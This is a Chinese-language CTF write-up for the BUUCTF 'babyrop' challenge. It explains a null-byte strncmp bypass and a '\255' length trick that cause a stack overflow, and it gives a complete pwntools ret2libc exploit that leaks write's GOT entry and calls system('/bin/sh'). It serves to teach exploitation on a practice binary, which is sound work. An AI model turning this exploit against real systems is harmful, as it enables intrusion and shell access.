buuctf-babyrop

先checksec

然后ida,为了自己看起来清晰改了下函数名。

第一个是计时函数,超过时间就会退出程序。第二个函数如图

这里我们要做的是在read buf的时候,第一个字符为\0,这样后面的strncmp的v1就是0,就能成功return buf[7],在第三个函数中,就可以read的字符数为buf[7],buf的大小是231,要令他栈溢出,就要让buf[7]的值大于231,那么如何才能让一个char值大于231……困扰了我一下,还是看别人的wp,然后才发现原来可以直接输入‘\255’[手动狗头],又学到了许多。

然后是找system和binsh,毫无意外的并没有,并且题目附件还给了libc文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
from LibcSearcher import *

context.os='linux'
context.arch='i386'
context.log_level='debug'

sl=lambda x:io.sendline(x)
rl=lambda :io.recvline()

#io=remote('node3.buuoj.cn',27293)
io=process('./pnn')
elf=ELF('./pnn')
libc=ELF('./libc-2.23.so')

main=0x8048825

payload='\0'*7+'\255'
sl(payload)#
rl()#

payload='a'*(0xe7+4)+p32(elf.plt['write'])+p32(main)+p32(1)+p32(elf.got['write'])+p32(4)
sl(payload)

write_got=u32(io.recv(4))
libc_base=write_got-libc.sym['write']
payload='\0'*7+'\255'
sl(payload)#
rl()#

payload='a'*(0xe7+4)+p32(libc_base+libc.sym['system'])+p32(0)+p32(libc_base+libc.search('/bin/sh\0').next())
sl(payload)
gdb.attach(io)
io.interactive()

libc.search(‘/bin/sh\0’).next()中的next()是因为search会出来不止一个,我们只需要第一个,所以用next()


buuctf-babyrop
http://example.com/2021/04/22/buuctf-babyrop/
作者
Magnesium
发布于
2021年4月22日
许可协议